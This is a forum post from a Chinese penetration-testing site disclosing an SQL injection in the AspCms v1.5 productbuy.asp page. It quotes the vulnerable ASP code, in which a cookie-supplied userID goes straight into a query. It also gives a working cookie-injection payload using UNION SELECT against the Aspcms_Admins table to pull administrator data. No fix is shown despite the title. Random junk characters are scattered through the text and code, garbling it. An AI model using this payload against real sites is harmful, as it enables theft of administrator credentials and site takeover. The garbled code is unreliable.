中国网络渗透测试联盟

标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 [打印本页]

作者: admin    时间: 2012-12-27 08:35
标题: AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了,上来一看发现在删号名单内.....
2 Q/ u6 ?. W1 o( r" n! }也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
* |8 G: N9 o  r& U" f废话不多说,看代码:! n3 I  X5 y" h) l: Y
" @& p' V' N, M- @
<%
+ \6 Q- n  K$ B& I: E* ^* e, v6 L. p( K: D( D* V, p0 Y
if action = "buy" then# o6 p; M! L4 Z$ r

' @4 f& R9 c2 S" S3 l        addOrder()1 }8 n' C9 i, S9 r, E. [

- V. C* O) `6 }+ a3 Lelse
: s. Z' R3 J2 h2 C0 L: P; F  g4 T) C, V4 K" m- R; Y
        echoContent()9 J- [3 R3 ?, F2 E  @7 g1 R
3 p' }1 S- E, l7 |8 s/ w: |
end if( u8 D, a; v3 y  T! |

( D0 Q. |0 ^( p# P" {$ t- G! Y' \4 [1 Q! ^4 u
" \  x$ t3 Q6 t
……略过% z5 F/ f$ R. V1 ~* I' ^! u& z" m
. E- }3 G7 U1 S; }0 t
' |5 W- n/ S6 i# k3 }) _

) j' E  _  b; x5 i  I% e# ?Sub echoContent(): t0 U; U( ^/ f, `2 M2 b/ A
* F  T( |0 h0 n0 E* H/ l; y% W- E
        dim id! l. u9 Q, V7 Z- E; U6 K

/ N1 ]& x' B* A. V3 [# V! S& h        id=getForm("id","get")$ k$ P! r! R2 M7 F6 P

. u) A- t' [* z% u0 z0 y        8 u4 E9 v( n7 _5 R% Z
  `3 L8 ^7 R8 _' s
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
3 {3 T% c: o) Y% j, e+ k9 o% j: O1 h6 R
        
0 C. h5 M4 e  d+ E# E- g6 [, O
% ]  r4 }1 g5 j3 `. N; Z9 D) i, R        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")/ E5 _: M2 r4 c% l
, I1 l& i: r, E7 ?- x
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
; D% V9 c; W3 C( J9 ^8 c( M7 h* g/ j0 u& l% Q7 f; i. q6 |3 ]! i
        Dim templatePath,tempStr! f3 U( h7 K* O9 l( l

; u- R5 ~  i4 F+ p& @. C        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html", b+ j  O; v  }' `8 D7 X- w
% m/ a! [' |- U. M

# W" }6 z3 L, r2 y+ |  f2 i$ O7 A! n( C0 K3 @# T% E. b5 i! d
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")! k* E0 j7 h3 i9 o  C! o" G; e

1 c9 Y0 e( g- n7 Z& W: ^/ m        selectproduct=rsObj(0): [; V: w* n. C: G! U
- p6 p2 G1 i2 \9 C) m/ ?# D
        
: l8 K' @  z$ d4 |# Q) w; E6 J4 W+ {* O) O6 w- z* J3 G
        Dim linkman,gender,phone,mobile,email,qq,address,postcode
. x* Q! X( C, t8 H0 h1 v) N/ s* k4 W; L1 D& |9 h0 W3 X
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0# u  m5 \2 G; K2 A: l: y# C! ~

$ ?/ K& g' L. _' z2 \( _6 X        if rCookie("loginstatus")=1 then  
. R( ^) H" v/ U( c, j7 x* I* K7 S+ j, `. [8 X
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
) ]: W5 P+ b8 u3 Q3 W0 J2 U  t: g% l) X5 Q" Q7 ]% q3 `
                linkman=rsObj("truename")6 {4 y( P& e: h( J

0 G+ n# K; {; s+ u                gender=rsObj("gender")$ i% g* }8 m# n0 y

2 v% \9 N& W3 L9 G; ]: T                phone=rsObj("phone")# ]$ \; e* X" h# Y; ^9 U  }
) {' ]+ V) R* Z' I4 s, ~/ a) t2 {
                mobile=rsObj("mobile")) Z; E3 k7 t% E- j9 m5 d2 O

: ]: l% e  X7 p$ G6 M                email=rsObj("email"), e+ k# S9 S0 j" I& j# B1 B! E0 a
4 w0 M. K+ S2 S1 j
                qq=rsObj("qq")" V( V6 G+ G& O  E! ]# v9 r

1 V/ Y& g- E  Z9 y- c3 Y+ }& r                address=rsObj("address")+ f2 ^1 U- T$ b! f

  s2 a5 l  X: I8 K' }) ]9 J3 I                postcode=rsObj("postcode")! }  o+ M4 L3 B
" q% r. N5 u: `# m8 P  ?) H9 c
        else ; Y7 z; Q+ o( e5 z, E5 m4 \

6 U9 o; U# x. Y2 w8 N$ s                gender=1
' @5 {2 W+ N5 q2 Q9 \* R) `* N! }8 l% Y5 I% h0 k  X
        end if
$ Z3 K$ N% `! G9 s
/ P% {4 f1 r* l! V" o+ ~        rsObj.close()3 q* x# ?! c7 [, p$ B( G8 }3 I
! X( p7 \' S* S) g6 h
                ' B; z' A5 A1 K! l2 [

! l7 W( K6 P$ {6 M' P1 H# ]# k3 \        with templateObj
- v" k. K& Y" W: j, ?6 i
" w; b( g9 A% A: K/ ?                .content=loadFile(templatePath)        
/ {2 U$ |- ^+ l& R% M
& V/ s8 l$ U# @, k                .parseHtml()! j. @; c$ \0 F1 J8 [& H5 I! k
( D2 Y5 F* @5 R
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)( x/ `" N# @5 F+ Y
( ~# I% b2 v. ~) a% }6 m( p
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                8 _6 z8 F9 g" [1 P" Y* c
4 I) R8 a5 Q( {; t) M
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
3 |* C4 L" M  @' j0 M
6 W: ~9 [' I4 M' g2 o                .content=replaceStr(.content,"[aspcms:phone]",phone)                % w2 [6 S! z  v9 G' Y( L: `

; o: l5 E+ O) \' q" k5 a                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
9 U+ Z- w& I/ r7 i
- O5 c. [$ b8 r- d0 g                .content=replaceStr(.content,"[aspcms:email]",email)                        
  Q+ b5 K! P' c' E* @& p- J; w7 A2 T
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        $ a! l8 \/ ]' h5 ~; P
8 e: K& D+ {( _1 w9 N# p
                .content=replaceStr(.content,"[aspcms:address]",address)                        
/ d: y* `' y1 z8 Y' v, b
+ D4 s7 `* m" c. O! ?$ X                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
3 E4 y" w8 P' q& j
0 W8 {( ^" s+ j0 e' r/ i                .parseCommon()                 # M8 @& n6 |5 |9 I. n. Z) S8 M" q" ?

& k1 Z! v& S, O; }; `0 {3 l                echo .content & b1 k- g8 Q  T4 ^. l9 n  \

1 f3 `3 \* {! n3 `3 w        end with& I. l: ~( {% B: G- u" j2 U: `1 N7 g5 \

" k/ v/ y" Z3 @$ ]) R: D        set templateobj =nothing : terminateAllObjects
5 {8 y6 X9 s( B  H& U
' U" V* {2 v, mEnd Sub
; s1 p+ N4 _' m# _7 |% Q% D/ m漏洞很明显,没啥好说的
# f/ A# y) _) u$ Q' X! K! {2 Kpoc:% l/ [6 y1 _6 I- I
' T. H- |2 E7 i! W
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​2 R- l- m7 B# e. \0 q% P

5 M& p7 H# H5 S1 x




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2